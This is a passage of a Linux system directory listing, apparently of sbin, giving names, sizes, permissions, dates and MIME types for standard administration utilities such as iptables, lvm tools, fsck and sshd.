150.48 KB
-rwxr-xr-x
2022-03-23 01:53:46
chcpu
application/x-pie-executable
30.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
check_forensic
text/x-shellscript
952 B
-rwxr-xr-x
2011-04-26 03:10:00
chgpasswd
application/x-pie-executable
58.13 KB
-rwxr-xr-x
2024-02-06 12:54:23
chmem
application/x-pie-executable
34.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
chpasswd
application/x-pie-executable
54.16 KB
-rwxr-xr-x
2024-02-06 12:54:23
chroot
application/x-pie-executable
38.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
cpgr
application/x-pie-executable
48.29 KB
-rwxr-xr-x
2024-02-06 12:54:23
cppw
application/x-pie-executable
48.29 KB
-rwxr-xr-x
2024-02-06 12:54:23
cron
application/x-pie-executable
50.58 KB
-rwxr-xr-x
2022-03-23 01:49:13
cryptdisks_start
text/x-shellscript
1.51 KB
-rwxr-xr-x
2022-01-13 09:44:36
cryptdisks_stop
text/x-shellscript
844 B
-rwxr-xr-x
2022-01-13 09:44:36
cryptsetup
application/x-pie-executable
169.55 KB
-rwxr-xr-x
2024-11-14 03:21:19
cryptsetup-reencrypt
application/x-pie-executable
90.38 KB
-rwxr-xr-x
2024-11-14 03:21:19
cryptsetup-ssh
application/x-pie-executable
23.53 KB
-rwxr-xr-x
2024-11-14 03:21:19
ctrlaltdel
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
dbconfig-generate-include
text/x-shellscript
12.36 KB
-rwxr-xr-x
2021-12-17 08:18:02
dbconfig-load-include
text/x-shellscript
5.57 KB
-rwxr-xr-x
2021-12-17 08:18:02
dcb
application/x-pie-executable
80.52 KB
-rwxr-xr-x
2026-04-15 07:15:26
debugfs
application/x-pie-executable
229.8 KB
-rwxr-xr-x
2023-10-09 01:50:10
delgroup
text/x-perl
16.11 KB
-rwxr-xr-x
2021-01-06 06:16:50
deluser
text/x-perl
16.11 KB
-rwxr-xr-x
2021-01-06 06:16:50
depmod
application/x-pie-executable
166.36 KB
-rwxr-xr-x
2026-04-30 12:32:42
devlink
application/x-pie-executable
142.86 KB
-rwxr-xr-x
2026-04-15 07:15:26
dhclient
application/x-pie-executable
442.66 KB
-rwxr-xr-x
2023-01-31 09:54:40
dhclient-script
text/x-shellscript
15.92 KB
-rwxr-xr-x
2023-01-31 09:54:40
dmeventd
application/x-pie-executable
50.38 KB
-rwxr-xr-x
2024-11-27 07:04:29
dmidecode
application/x-pie-executable
122.98 KB
-rwxr-xr-x
2024-10-14 08:28:46
dmsetup
application/x-pie-executable
171.02 KB
-rwxr-xr-x
2024-11-27 07:04:29
dmstats
application/x-pie-executable
171.02 KB
-rwxr-xr-x
2024-11-27 07:04:29
dosfsck
application/x-pie-executable
82.38 KB
-rwxr-xr-x
2022-03-23 01:51:01
dosfslabel
application/x-pie-executable
38.38 KB
-rwxr-xr-x
2022-03-23 01:51:01
dpkg-preconfigure
text/x-perl
3.58 KB
-rwxr-xr-x
2022-02-20 02:42:49
dpkg-reconfigure
text/x-perl
4.38 KB
-rwxr-xr-x
2022-02-20 02:42:49
dumpe2fs
application/x-pie-executable
30.31 KB
-rwxr-xr-x
2023-10-09 01:50:10
e2freefrag
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2023-10-09 01:50:10
e2fsck
application/x-pie-executable
351.84 KB
-rwxr-xr-x
2023-10-09 01:50:10
e2image
application/x-pie-executable
42.31 KB
-rwxr-xr-x
2023-10-09 01:50:10
e2label
application/x-pie-executable
102.55 KB
-rwxr-xr-x
2023-10-09 01:50:10
e2mmpstatus
application/x-pie-executable
30.31 KB
-rwxr-xr-x
2023-10-09 01:50:10
e2scrub
text/x-shellscript
7.13 KB
-rwxr-xr-x
2023-10-09 01:50:10
e2scrub_all
text/x-shellscript
5.27 KB
-rwxr-xr-x
2023-10-09 01:50:10
e2undo
application/x-pie-executable
22.3 KB
-rwxr-xr-x
2023-10-09 01:50:10
e4crypt
application/x-pie-executable
30.38 KB
-rwxr-xr-x
2023-10-09 01:50:10
e4defrag
application/x-pie-executable
30.3 KB
-rwxr-xr-x
2023-10-09 01:50:10
ebtables
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ebtables-nft
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ebtables-nft-restore
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ebtables-nft-save
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ebtables-restore
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ebtables-save
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
era_check
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
era_dump
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
era_invalidate
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
era_restore
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
ethtool
application/x-pie-executable
551.48 KB
-rwxr-xr-x
2025-03-07 02:22:37
faillock
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2026-07-16 02:06:00
fatlabel
application/x-pie-executable
38.38 KB
-rwxr-xr-x
2022-03-23 01:51:01
fdisk
application/x-pie-executable
110.42 KB
-rwxr-xr-x
2026-03-06 04:10:04
filefrag
application/x-pie-executable
18.32 KB
-rwxr-xr-x
2023-10-09 01:50:10
findfs
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
fixparts
application/x-pie-executable
58.48 KB
-rwxr-xr-x
2022-03-23 01:53:46
fsadm
text/x-shellscript
23.94 KB
-rwxr-xr-x
2024-11-27 07:04:29
fsck
application/x-pie-executable
42.42 KB
-rwxr-xr-x
2026-03-06 04:10:04
fsck.btrfs
text/x-shellscript
1.16 KB
-rwxr-xr-x
2022-02-24 05:39:55
fsck.cramfs
application/x-pie-executable
30.44 KB
-rwxr-xr-x
2026-03-06 04:10:04
fsck.ext2
application/x-pie-executable
351.84 KB
-rwxr-xr-x
2023-10-09 01:50:10
fsck.ext3
application/x-pie-executable
351.84 KB
-rwxr-xr-x
2023-10-09 01:50:10
fsck.ext4
application/x-pie-executable
351.84 KB
-rwxr-xr-x
2023-10-09 01:50:10
fsck.fat
application/x-pie-executable
82.38 KB
-rwxr-xr-x
2022-03-23 01:51:01
fsck.minix
application/x-pie-executable
54.41 KB
-rwxr-xr-x
2026-03-06 04:10:04
fsck.msdos
application/x-pie-executable
82.38 KB
-rwxr-xr-x
2022-03-23 01:51:01
fsck.vfat
application/x-pie-executable
82.38 KB
-rwxr-xr-x
2022-03-23 01:51:01
fsck.xfs
text/x-shellscript
1.89 KB
-rwxr-xr-x
2024-10-17 06:49:09
fsfreeze
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
fstab-decode
application/x-pie-executable
18.3 KB
-rwxr-xr-x
2021-12-14 09:17:22
fstrim
application/x-pie-executable
42.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
ftpasswd
text/x-perl
37.11 KB
-rwxr-xr-x
2025-02-05 01:53:13
ftpmail
text/x-perl
13.63 KB
-rwxr-xr-x
2025-02-05 01:53:13
ftpquota
text/x-perl
32.2 KB
-rwxr-xr-x
2025-02-05 01:53:13
ftpscrub
application/x-pie-executable
23.66 KB
-rwxr-xr-x
2025-02-05 01:53:13
ftpshut
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2025-02-05 01:53:13
ftpstats
text/x-perl
12.16 KB
-rwxr-xr-x
2025-02-05 01:53:13
gdisk
application/x-pie-executable
174.48 KB
-rwxr-xr-x
2022-03-23 01:53:46
genl
application/x-pie-executable
90.44 KB
-rwxr-xr-x
2026-04-15 07:15:26
getcap
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2026-04-09 03:04:48
getpcaps
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2026-04-09 03:04:48
getty
application/x-pie-executable
55.56 KB
-rwxr-xr-x
2026-03-06 04:10:04
groupadd
application/x-pie-executable
66.91 KB
-rwxr-xr-x
2024-02-06 12:54:23
groupdel
application/x-pie-executable
62.73 KB
-rwxr-xr-x
2024-02-06 12:54:23
groupmems
application/x-pie-executable
54.19 KB
-rwxr-xr-x
2024-02-06 12:54:23
groupmod
application/x-pie-executable
66.82 KB
-rwxr-xr-x
2024-02-06 12:54:23
grpck
application/x-pie-executable
58.13 KB
-rwxr-xr-x
2024-02-06 12:54:23
grpconv
application/x-pie-executable
50.01 KB
-rwxr-xr-x
2024-02-06 12:54:23
grpunconv
application/x-pie-executable
50.01 KB
-rwxr-xr-x
2024-02-06 12:54:23
grub-bios-setup
application/x-pie-executable
941.42 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-install
application/x-pie-executable
1.15 MB
-rwxr-xr-x
2022-12-18 09:21:26
grub-macbless
application/x-pie-executable
929.11 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-mkconfig
text/x-shellscript
8.6 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-mkdevicemap
application/x-pie-executable
215.7 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-probe
application/x-pie-executable
941.36 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-reboot
text/x-shellscript
4.73 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-set-default
text/x-shellscript
3.47 KB
-rwxr-xr-x
2022-12-18 09:21:26
halt
application/x-pie-executable
1.06 MB
-rwxr-xr-x
2026-06-05 03:40:28
hdparm
application/x-pie-executable
139.43 KB
-rwxr-xr-x
2022-03-23 01:57:38
httxt2dbm
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2026-07-06 04:41:46
hwclock
application/x-pie-executable
50.5 KB
-rwxr-xr-x
2026-03-06 04:10:04
iconvconfig
application/x-pie-executable
30.4 KB
-rwxr-xr-x
2026-07-24 12:11:17
in.proftpd
application/x-pie-executable
1.17 MB
-rwxr-xr-x
2025-02-05 01:53:13
init
application/x-pie-executable
1.76 MB
-rwxr-xr-x
2026-06-05 03:40:28
insmod
application/x-pie-executable
166.36 KB
-rwxr-xr-x
2026-04-30 12:32:42
installkernel
text/x-shellscript
2.6 KB
-rwxr-xr-x
2022-03-23 01:49:54
integritysetup
application/x-pie-executable
54.07 KB
-rwxr-xr-x
2024-11-14 03:21:19
invoke-rc.d
text/x-shellscript
16.12 KB
-rwxr-xr-x
2021-12-07 09:55:54
ip
application/x-pie-executable
702.05 KB
-rwxr-xr-x
2026-04-15 07:15:26
ip6tables
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-apply
text/x-shellscript
6.89 KB
-rwxr-xr-x
2021-01-15 10:03:39
ip6tables-legacy
application/x-pie-executable
96.95 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-legacy-restore
application/x-pie-executable
96.95 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-legacy-save
application/x-pie-executable
96.95 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-nft
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-nft-restore
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-nft-save
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-restore
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-restore-translate
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-save
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-translate
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-apply
text/x-shellscript
6.89 KB
-rwxr-xr-x
2021-01-15 10:03:39
iptables-legacy
application/x-pie-executable
96.95 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-legacy-restore
application/x-pie-executable
96.95 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-legacy-save
application/x-pie-executable
96.95 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-nft
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-nft-restore
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-nft-save
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-restore
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-restore-translate
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-save
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-translate
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
irqbalance
application/x-pie-executable
66.86 KB
-rwxr-xr-x
2023-10-16 09:22:18
irqbalance-ui
application/x-pie-executable
34.38 KB
-rwxr-xr-x
2023-10-16 09:22:18
iscsi-iname
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2025-02-11 03:06:32
iscsi_discovery
text/x-shellscript
5.17 KB
-rwxr-xr-x
2021-09-05 11:32:54
iscsiadm
application/x-pie-executable
398.46 KB
-rwxr-xr-x
2025-02-11 03:06:32
iscsid
application/x-pie-executable
298.55 KB
-rwxr-xr-x
2025-02-11 03:06:32
iscsistart
application/x-pie-executable
278.56 KB
-rwxr-xr-x
2025-02-11 03:06:32
isosize
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
iucode-tool
application/x-pie-executable
58.34 KB
-rwxr-xr-x
2021-10-07 10:13:17
iucode_tool
application/x-pie-executable
58.34 KB
-rwxr-xr-x
2021-10-07 10:13:17
kbdrate
application/x-pie-executable
18.16 KB
-rwxr-xr-x
2022-12-16 02:14:33
killall5
application/x-pie-executable
30.38 KB
-rwxr-xr-x
2021-12-14 09:17:22
kpartx
application/x-pie-executable
46.16 KB
-rwxr-xr-x
2023-10-31 10:21:59
ldattach
application/x-pie-executable
26.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
ldconfig
text/x-shellscript
387 B
-rwxr-xr-x
2026-07-24 12:11:17
ldconfig.real
application/x-pie-executable
1.16 MB
-rwxr-xr-x
2026-07-24 12:11:17
locale-gen
text/x-shellscript
4.29 KB
-rwxr-xr-x
2025-07-15 09:40:00
logrotate
application/x-pie-executable
102.24 KB
-rwxr-xr-x
2022-05-25 02:10:26
logsave
application/x-pie-executable
14.16 KB
-rwxr-xr-x
2023-10-09 01:50:10
losetup
application/x-pie-executable
70.52 KB
-rwxr-xr-x
2026-03-06 04:10:04
lsmod
application/x-pie-executable
166.36 KB
-rwxr-xr-x
2026-04-30 12:32:42
luksformat
text/x-perl
3.32 KB
-rwxr-xr-x
2022-01-13 09:44:36
lvchange
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvconvert
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvcreate
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvdisplay
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvextend
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvm
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvmconfig
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvmdiskscan
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvmdump
text/x-shellscript
10.07 KB
-rwxr-xr-x
2024-11-27 07:04:29
lvmpolld
application/x-pie-executable
236.2 KB
-rwxr-xr-x
2024-11-27 07:04:29
lvmsadc
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvmsar
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvreduce
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvremove
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvrename
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvresize
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvs
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvscan
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
make-bcache
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2022-03-23 09:42:55
make-ssl-cert
text/x-shellscript
6.65 KB
-rwxr-xr-x
2021-12-30 04:52:53
mdadm
application/x-pie-executable
601.31 KB
-rwxr-xr-x
2023-04-11 03:22:59
mdmon
application/x-pie-executable
258.44 KB
-rwxr-xr-x
2023-04-11 03:22:59
mkdosfs
application/x-pie-executable
50.83 KB
-rwxr-xr-x
2022-03-23 01:51:01
mke2fs
application/x-pie-executable
130.62 KB
-rwxr-xr-x
2023-10-09 01:50:10
mkfs
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
mkfs.bfs
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
mkfs.btrfs
application/x-pie-executable
471.25 KB
-rwxr-xr-x
2022-02-24 05:39:55
mkfs.cramfs
application/x-pie-executable
34.32 KB
-rwxr-xr-x
2026-03-06 04:10:04
mkfs.ext2
application/x-pie-executable
130.62 KB
-rwxr-xr-x
2023-10-09 01:50:10
mkfs.ext3
application/x-pie-executable
130.62 KB
-rwxr-xr-x
2023-10-09 01:50:10
mkfs.ext4
application/x-pie-executable
130.62 KB
-rwxr-xr-x
2023-10-09 01:50:10
mkfs.fat
application/x-pie-executable
50.83 KB
-rwxr-xr-x
2022-03-23 01:51:01
mkfs.minix
application/x-pie-executable
42.39 KB
-rwxr-xr-x
2026-03-06 04:10:04
mkfs.msdos
application/x-pie-executable
50.83 KB
-rwxr-xr-x
2022-03-23 01:51:01
mkfs.ntfs
application/x-pie-executable
70.38 KB
-rwxr-xr-x
2026-07-11 03:55:48
mkfs.vfat
application/x-pie-executable
50.83 KB
-rwxr-xr-x
2022-03-23 01:51:01
mkfs.xfs
application/x-pie-executable
382.77 KB
-rwxr-xr-x
2024-10-17 06:49:09
mkhomedir_helper
application/x-pie-executable
22.17 KB
-rwxr-xr-x
2026-07-16 02:06:00
mkinitramfs
text/x-shellscript
12.16 KB
-rwxr-xr-x
2024-03-19 12:06:27
mklost+found
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2023-10-09 01:50:10
mkntfs
application/x-pie-executable
70.38 KB
-rwxr-xr-x
2026-07-11 03:55:48
mkswap
application/x-pie-executable
46.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
modinfo
application/x-pie-executable
166.36 KB
-rwxr-xr-x
2026-04-30 12:32:42
modprobe
application/x-pie-executable
166.36 KB
-rwxr-xr-x
2026-04-30 12:32:42
mount.fuse
application/x-pie-executable
18.3 KB
-rwxr-xr-x
2022-03-23 01:53:14
mount.fuse3
application/x-pie-executable
18.3 KB
-rwxr-xr-x
2022-03-23 01:53:14
mount.lowntfs-3g
application/x-pie-executable
114.98 KB
-rwxr-xr-x
2026-07-11 03:55:48
mount.ntfs
application/x-pie-executable
159.01 KB
-rwxr-xr-x
2026-07-11 03:55:48
mount.ntfs-3g
application/x-pie-executable
159.01 KB
-rwxr-xr-x
2026-07-11 03:55:48
mpathpersist
application/x-pie-executable
31.05 KB
-rwxr-xr-x
2023-10-31 10:21:59
multipath
application/x-pie-executable
34.15 KB
-rwxr-xr-x
2023-10-31 10:21:59
multipathd
application/x-pie-executable
134.26 KB
-rwxr-xr-x
2023-10-31 10:21:59
mysqld
application/x-pie-executable
53.01 MB
-rwxr-xr-x
2026-06-20 11:54:34
needrestart
text/x-perl
38.73 KB
-rwxr-xr-x
2025-09-10 07:15:59
netplan
text/x-script.python
802 B
-rwxr-xr-x
2023-12-12 04:56:47
newusers
application/x-pie-executable
74.73 KB
-rwxr-xr-x
2024-02-06 12:54:23
nfnl_osf
application/x-pie-executable
18.3 KB
-rwxr-xr-x
2024-01-16 09:14:30
nft
application/x-pie-executable
26.23 KB
-rwxr-xr-x
2026-02-24 08:38:43
nologin
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2024-02-06 12:54:23
ntfsclone
application/x-pie-executable
50.38 KB
-rwxr-xr-x
2026-07-11 03:55:48
ntfscp
application/x-pie-executable
34.38 KB
-rwxr-xr-x
2026-07-11 03:55:48
ntfslabel
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-07-11 03:55:48
ntfsresize
application/x-pie-executable
62.39 KB
-rwxr-xr-x
2026-07-11 03:55:48
ntfsundelete
application/x-pie-executable
50.38 KB
-rwxr-xr-x
2026-07-11 03:55:48
on_ac_power
text/x-shellscript
3.7 KB
-rwxr-xr-x
2025-06-04 02:47:30
overlayroot-chroot
text/x-shellscript
2.45 KB
-rwxr-xr-x
2020-08-17 04:00:58
ownership
application/x-pie-executable
14.45 KB
-rwxr-xr-x
2024-10-14 08:28:46
pam-auth-update
text/x-perl
20.5 KB
-rwxr-xr-x
2024-11-17 10:17:22
pam_extrausers_chkpwd
application/x-pie-executable
22.15 KB
-rwxr-sr-x
2026-07-16 02:06:00
pam_extrausers_update
application/x-pie-executable
30.15 KB
-rwxr-xr-x
2026-07-16 02:06:00
pam_getenv
text/x-perl
2.82 KB
-rwxr-xr-x
2024-11-17 10:17:22
pam_timestamp_check
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2026-07-16 02:06:00
paperconfig
text/x-shellscript
4.07 KB
-rwxr-xr-x
2022-03-24 12:14:21
parted
application/x-pie-executable
86.4 KB
-rwxr-xr-x
2022-03-24 04:22:22
partprobe
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2022-03-24 04:22:22
pdata_tools
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
phpdismod
text/x-shellscript
7.11 KB
-rwxr-xr-x
2024-12-04 03:44:19
phpenmod
text/x-shellscript
7.11 KB
-rwxr-xr-x
2024-12-04 03:44:19
phpquery
text/x-shellscript
6.24 KB
-rwxr-xr-x
2024-12-04 03:44:19
pivot_root
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
plymouthd
application/x-pie-executable
150.55 KB
-rwxr-xr-x
2022-03-18 10:45:18
poweroff
application/x-pie-executable
1.06 MB
-rwxr-xr-x
2026-06-05 03:40:28
proftpd
application/x-pie-executable
1.17 MB
-rwxr-xr-x
2025-02-05 01:53:13
proftpd-gencert
text/x-shellscript
1.64 KB
-rwxr-xr-x
2021-08-30 06:35:11
pvchange
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
pvck
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
pvcreate
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
pvdisplay
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
pvmove
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
pvremove
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
pvresize
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
pvs
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
pvscan
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
pwck
application/x-pie-executable
50.13 KB
-rwxr-xr-x
2024-02-06 12:54:23
pwconv
application/x-pie-executable
46.01 KB
-rwxr-xr-x
2024-02-06 12:54:23
pwunconv
application/x-pie-executable
42.01 KB
-rwxr-xr-x
2024-02-06 12:54:23
readprofile
application/x-pie-executable
22.41 KB
-rwxr-xr-x
2026-03-06 04:10:04
reboot
application/x-pie-executable
1.06 MB
-rwxr-xr-x
2026-06-05 03:40:28
remove-shell
text/x-shellscript
1.07 KB
-rwxr-xr-x
2022-03-23 01:49:54
resize2fs
application/x-pie-executable
66.3 KB
-rwxr-xr-x
2023-10-09 01:50:10
rmmod
application/x-pie-executable
166.36 KB
-rwxr-xr-x
2026-04-30 12:32:42
rmt
application/x-pie-executable
58.57 KB
-rwxr-xr-x
2026-07-20 02:42:36
rmt-tar
application/x-pie-executable
58.57 KB
-rwxr-xr-x
2026-07-20 02:42:36
rsyslogd
application/x-pie-executable
767.19 KB
-rwxr-xr-x
2026-07-20 04:31:06
rtacct
application/x-pie-executable
28.31 KB
-rwxr-xr-x
2026-04-15 07:15:26
rtcwake
application/x-pie-executable
34.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
rtmon
application/x-pie-executable
90.39 KB
-rwxr-xr-x
2026-04-15 07:15:26
runlevel
application/x-pie-executable
1.06 MB
-rwxr-xr-x
2026-06-05 03:40:28
runuser
application/x-pie-executable
54.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
service
text/x-shellscript
8.88 KB
-rwxr-xr-x
2022-02-15 10:32:46
setcap
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2026-04-09 03:04:48
setvesablank
application/x-pie-executable
14.23 KB
-rwxr-xr-x
2022-12-16 02:14:33
setvtrgb
application/x-pie-executable
14.29 KB
-rwxr-xr-x
2022-12-16 02:14:33
sfdisk
application/x-pie-executable
102.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
sgdisk
application/x-pie-executable
162.48 KB
-rwxr-xr-x
2022-03-23 01:53:46
shadowconfig
text/x-shellscript
885 B
-rwxr-xr-x
2021-11-11 03:42:38
shutdown
application/x-pie-executable
1.06 MB
-rwxr-xr-x
2026-06-05 03:40:28
split-logfile
text/x-perl
2.36 KB
-rwxr-xr-x
2026-07-06 04:41:46
sshd
application/x-pie-executable
899.7 KB
-rwxr-xr-x
2026-07-09 06:38:00
start-stop-daemon
application/x-pie-executable
47.35 KB
-rwxr-xr-x
2025-09-09 08:09:16
sudo_logsrvd
application/x-pie-executable
200.1 KB
-rwxr-xr-x
2026-03-02 01:08:06
sudo_sendlog
application/x-pie-executable
107.34 KB
-rwxr-xr-x
2026-03-02 01:08:06
sulogin
application/x-pie-executable
42.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
swaplabel
application/x-pie-executable
18.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
swapoff
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
swapon
application/x-pie-executable
42.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
switch_root
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
sysctl
application/x-pie-executable
30.23 KB
-rwxr-xr-x
2023-10-31 11:36:04
tarcat
text/x-shellscript
936 B
-rwxr-xr-x
2026-07-20 02:42:36
tc
application/x-pie-executable
618.08 KB
-rwxr-xr-x
2026-04-15 07:15:26
telinit
application/x-pie-executable
1.06 MB
-rwxr-xr-x
2026-06-05 03:40:28
thermald
application/x-pie-executable
554.6 KB
-rwxr-xr-x
2023-08-10 07:36:06
thin_check
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
thin_delta
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
thin_dump
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
thin_ls
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
thin_metadata_size
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
thin_repair
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
thin_restore
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
thin_rmap
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
thin_trim
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
tipc
application/x-pie-executable
90.44 KB
-rwxr-xr-x
2026-04-15 07:15:26
tune2fs
application/x-pie-executable
102.55 KB
-rwxr-xr-x
2023-10-09 01:50:10
tzconfig
text/x-shellscript
106 B
-rwxr-xr-x
2026-07-17 12:51:09
u-d-c-print-pci-ids
text/x-shellscript
517 B
-rwxr-xr-x
2024-07-05 08:55:40
ufw
text/x-script.python
4.82 KB
-rwxr-xr-x
2023-07-17 01:55:25
umount.udisks2
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2025-08-21 02:17:01
unix_chkpwd
application/x-pie-executable
26.15 KB
-rwxr-sr-x
2026-07-16 02:06:00
unix_update
application/x-pie-executable
30.15 KB
-rwxr-xr-x
2026-07-16 02:06:00
update-ca-certificates
text/x-shellscript
5.29 KB
-rwxr-xr-x
2026-06-15 04:17:29
update-grub
text/x-shellscript
64 B
-rwxr-xr-x
2022-12-02 03:18:47
update-grub-gfxpayload
text/x-shellscript
301 B
-rwxr-xr-x
2015-03-27 05:50:35
update-grub2
text/x-shellscript
64 B
-rwxr-xr-x
2022-12-02 03:18:47
update-gsfontmap
text/x-shellscript
470 B
-rwxr-xr-x
2025-09-25 04:42:27
update-info-dir
text/x-shellscript
1.66 KB
-rwxr-xr-x
2022-02-06 12:48:45
update-initramfs
text/x-shellscript
6.74 KB
-rwxr-xr-x
2024-03-19 12:05:17
update-locale
text/x-perl
2.99 KB
-rwxr-xr-x
2025-07-15 09:40:00
update-mime
text/x-perl
9.39 KB
-rwxr-xr-x
